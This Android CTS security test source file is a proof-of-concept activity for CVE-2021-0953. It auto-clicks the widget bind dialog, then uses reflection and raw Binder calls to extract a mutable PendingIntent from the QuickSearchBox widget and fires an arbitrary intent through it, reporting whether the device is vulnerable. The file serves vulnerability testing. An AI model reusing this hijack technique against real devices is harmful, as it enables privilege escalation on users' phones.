blob: 3684cbe97cc72c1812a416cd7f72263c985dbe59 [file] [log] [blame]
/*
* Copyright (C) 2021 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package android.security.cts.CVE_2021_0953;
import android.app.Activity;
import android.app.PendingIntent;
import android.appwidget.AppWidgetHost;
import android.appwidget.AppWidgetManager;
import android.content.ComponentName;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.content.pm.ResolveInfo;
import android.os.Bundle;
import android.os.IBinder;
import android.os.Parcel;
import android.os.RemoteCallback;
import android.os.RemoteException;
import android.widget.RemoteViews;
import androidx.test.uiautomator.By;
import androidx.test.uiautomator.BySelector;
import androidx.test.uiautomator.UiDevice;
import androidx.test.uiautomator.UiObject2;
import androidx.test.uiautomator.Until;
import androidx.test.InstrumentationRegistry;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.List;
public class PocActivity extends Activity {
public static int APPWIDGET_ID;
public static int REQUEST_BIND_APPWIDGET = 0;
public static final int TIMEOUT_MS = 10000;
Class mClRemoteViews;
Field mActions, mResponse, mFldPendingIntent;
Method mGetDeclaredField;
Object mObjSetOnClickResponse;
PendingIntent mPendingIntent;
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
UiDevice device = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
AppWidgetHost appWidgetHost;
AppWidgetManager appWidgetManager;
PocActivity pocActivity = PocActivity.this;
appWidgetManager = AppWidgetManager.getInstance(this);
appWidgetHost = new AppWidgetHost(PocActivity.this.getApplicationContext(), 0);
APPWIDGET_ID = appWidgetHost.allocateAppWidgetId();
Intent intent = new Intent("android.appwidget.action.APPWIDGET_BIND");
intent.putExtra("appWidgetId", APPWIDGET_ID);
intent.putExtra("appWidgetProvider", new ComponentName("com.android.quicksearchbox",
"com.android.quicksearchbox.SearchWidgetProvider"));
PocActivity.this.startActivityForResult(intent, REQUEST_BIND_APPWIDGET);
String settingsPkgName = "";
PackageManager pm = getPackageManager();
List<ResolveInfo> ris = pm.queryIntentActivities(intent, PackageManager.MATCH_DEFAULT_ONLY);
for (ResolveInfo ri : ris) {
if (ri.activityInfo.name.contains("AllowBindAppWidgetActivity")) {
settingsPkgName = ri.activityInfo.packageName;
}
}
if (settingsPkgName.equals("")) {
sendTestResult(getResources().getInteger(R.integer.assumption_failure),
"Settings package not found/AllowBindAppWidgetActivity not found");
return;
}
if (!device.wait(Until.hasObject(By.pkg(settingsPkgName)), TIMEOUT_MS)) {
sendTestResult(getResources().getInteger(R.integer.assumption_failure),
"Unable to start AllowBindAppWidgetActivity");
return;
}
boolean buttonClicked = false;
BySelector selector = By.clickable(true);
List<UiObject2> objects = device.findObjects(selector);
for (UiObject2 object : objects) {
String objectText = object.getText();
String objectClass = object.getClassName();
if (objectText == null) {
continue;
}
if (objectText.equalsIgnoreCase("CREATE")) {
object.click();
buttonClicked = true;
break;
}
}
if (!device.wait(Until.gone(By.pkg(settingsPkgName)), TIMEOUT_MS) || !buttonClicked) {
sendTestResult(getResources().getInteger(R.integer.assumption_failure),
"'Create' button not found/clicked");
return;
}
}
@Override
public void onActivityResult(int requestCode, int resultCode, Intent data) {
super.onActivityResult(requestCode, resultCode, data);
PocActivity pocActivity = PocActivity.this;
if (requestCode == REQUEST_BIND_APPWIDGET) {
if (resultCode == -1) {
APPWIDGET_ID = data.getIntExtra("appWidgetId", APPWIDGET_ID);
}
}
RemoteViews remoteViews =
pocActivity.callBinder(pocActivity.getPackageName(), APPWIDGET_ID);
if (remoteViews == null) {
sendTestResult(getResources().getInteger(R.integer.assumption_failure),
"remoteViews is null as callBinder() failed");
return;
}
try {
mClRemoteViews = Class.forName("android.widget.RemoteViews");
} catch (ClassNotFoundException e) {
e.printStackTrace();
sendTestResult(getResources().getInteger(R.integer.assumption_failure),
"Class android.widget.RemoteViews not found");
return;
}
Class[] rvSubClasses = mClRemoteViews.getDeclaredClasses();
Class clSetOnClickResponse = null;
Class clRemoteResponse = null;
for (Class c : rvSubClasses) {
if (c.getCanonicalName().equals("android.widget.RemoteViews.SetOnClickResponse")) {
clSetOnClickResponse = c;
}
if (c.getCanonicalName().equals("android.widget.RemoteViews.RemoteResponse")) {
clRemoteResponse = c;
}
}
try {
mActions = mClRemoteViews.getDeclaredField("mActions");
} catch (NoSuchFieldException e) {
e.printStackTrace();
sendTestResult(getResources().getInteger(R.integer.assumption_failure),
"mActions field not found");
return;
}
mActions.setAccessible(true);
try {
mObjSetOnClickResponse = ((ArrayList) mActions.get(remoteViews)).get(1);
mGetDeclaredField = Class.class.getDeclaredMethod("getDeclaredField", String.class);
mResponse = (Field) mGetDeclaredField.invoke(clSetOnClickResponse, "mResponse");
} catch (NoSuchMethodException | IllegalAccessException | InvocationTargetException e) {
e.printStackTrace();
sendTestResult(getResources().getInteger(R.integer.assumption_failure),
"mResponse field not found");
return;
}
mResponse.setAccessible(true);
try {
mFldPendingIntent =
(Field) mGetDeclaredField.invoke(clRemoteResponse, "mPendingIntent");
} catch (IllegalAccessException | InvocationTargetException e) {
e.printStackTrace();
sendTestResult(getResources().getInteger(R.integer.assumption_failure),
"mPendingIntent field not found");
return;
}
mFldPendingIntent.setAccessible(true);
try {
mPendingIntent = (PendingIntent) mFldPendingIntent
.get((RemoteViews.RemoteResponse) mResponse.get(mObjSetOnClickResponse));
} catch (IllegalAccessException e) {
e.printStackTrace();
sendTestResult(getResources().getInteger(R.integer.assumption_failure),
"Unable to get PendingIntent");
return;
}
Intent spuriousIntent = new Intent(PocActivity.this, PocVulnerableActivity.class);
spuriousIntent.setPackage(getApplicationContext().getPackageName());
spuriousIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
try {
mPendingIntent.send(getApplicationContext(), 0, spuriousIntent, null, null);
} catch (PendingIntent.CanceledException e) {
// this is expected when vulnerability is not present and hence return
sendTestResult(getResources().getInteger(R.integer.pass), "Pass");
return;
}
sendTestResult(getResources().getInteger(R.integer.fail),
"Device is vulnerable to b/184046278!!"
+ " Mutable PendingIntent in QuickSearchBox widget");
}
private IBinder getService(String service) {
try {
Class clServiceManager = Class.forName("android.os.ServiceManager");
Method mtGetService = clServiceManager.getMethod("getService", String.class);
return (IBinder) mtGetService.invoke(null, service);
} catch (ClassNotFoundException | NoSuchMethodException | IllegalAccessException
| InvocationTargetException e) {
e.printStackTrace();
sendTestResult(getResources().getInteger(R.integer.assumption_failure),
"Failed to invoke android.os.ServiceManager service");
return null;
}
}
private RemoteViews callBinder(String callingPackage, int appWidgetId) {
String INTERFACE_DESCRIPTOR = "com.android.internal.appwidget.IAppWidgetService";
int GET_APP_WIDGET_VIEWS = 7;
Parcel data = Parcel.obtain();
Parcel reply = Parcel.obtain();
RemoteViews remoteViews = null;
IBinder service = getService("appwidget");
if (service != null) {
data.writeInterfaceToken(INTERFACE_DESCRIPTOR);
data.writeString(callingPackage);
data.writeInt(appWidgetId);
try {
service.transact(GET_APP_WIDGET_VIEWS, data, reply, 0);
} catch (RemoteException e) {
e.printStackTrace();
sendTestResult(getResources().getInteger(R.integer.assumption_failure),
"service.transact() failed due to RemoteException");
return null;
}
reply.readException();
if (reply.readInt() != 0) {
remoteViews = (RemoteViews) RemoteViews.CREATOR.createFromParcel(reply);
}
}
return remoteViews;
}
private void sendTestResult(int statusCode, String errorMessage) {
RemoteCallback cb =
(RemoteCallback) getIntent().getExtras().get(getString(R.string.callback_key));
Bundle res = new Bundle();
res.putString(getString(R.string.message_key), errorMessage);
res.putInt(getString(R.string.status_key), statusCode);
finish();
cb.sendResult(res); // update callback in test
}
}